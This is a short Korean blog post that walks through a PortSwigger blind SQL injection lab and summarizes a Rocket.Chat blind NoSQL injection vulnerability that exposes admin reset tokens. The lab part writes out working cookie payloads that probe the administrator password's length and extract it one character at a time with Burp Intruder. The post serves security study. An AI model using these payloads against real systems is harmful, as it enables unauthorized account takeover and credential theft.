Blind SQL Injection

수갱22·2022년 10월 6일

1. Blind SQL Injection 관련 PortSwigger 문제 풀어보기


1. Burp Suite 이용해 cookie 값 확인하기

=>TrackingId 확인 가능.

  1. TrackingId=xyz 'AND' 1'='1 아용해서 response 확인하기

  • TrackingId=xyz 'AND' 1'='2
  1. TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a 넣어서 password 길이 확인하기

=> 숫자를 조정하며 response 확인하면서 password의 길이 파악하기

password길이는 20

4.(SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a를 Intruder 기능 이용해 패스워드 확인하기.

2. Blind SQL Injection 실제 oneday 취약점 사례

: Rocket.Chat의 3.18.5, 3.0.5 버전

  • 일반 사용자가 로그인 시에, admin reset token에 접근 가능하며 admin 사용자의 새 비밀번호를 설정할 수 있다.
  • 방법
    (1) 낮은 신뢰 사용자로 로그인
    (2) 스크립트에 rc_uid와 rc_token 복사
    (3) 스크립트에서 사용자가 찾을 수 있는 admin 이메일 비밀번호를 요청함.
    (4) python script에 reset token을 받기위해 "blind no SQL Injection" 실행
  • 영향
    : 공격자가 MongoDB를 팢을 수 있으며, 메시지 데이터베이스에서 사용자가 저장한 비밀번호 찾을 수 있음
profile
Cyber Security

0개의 댓글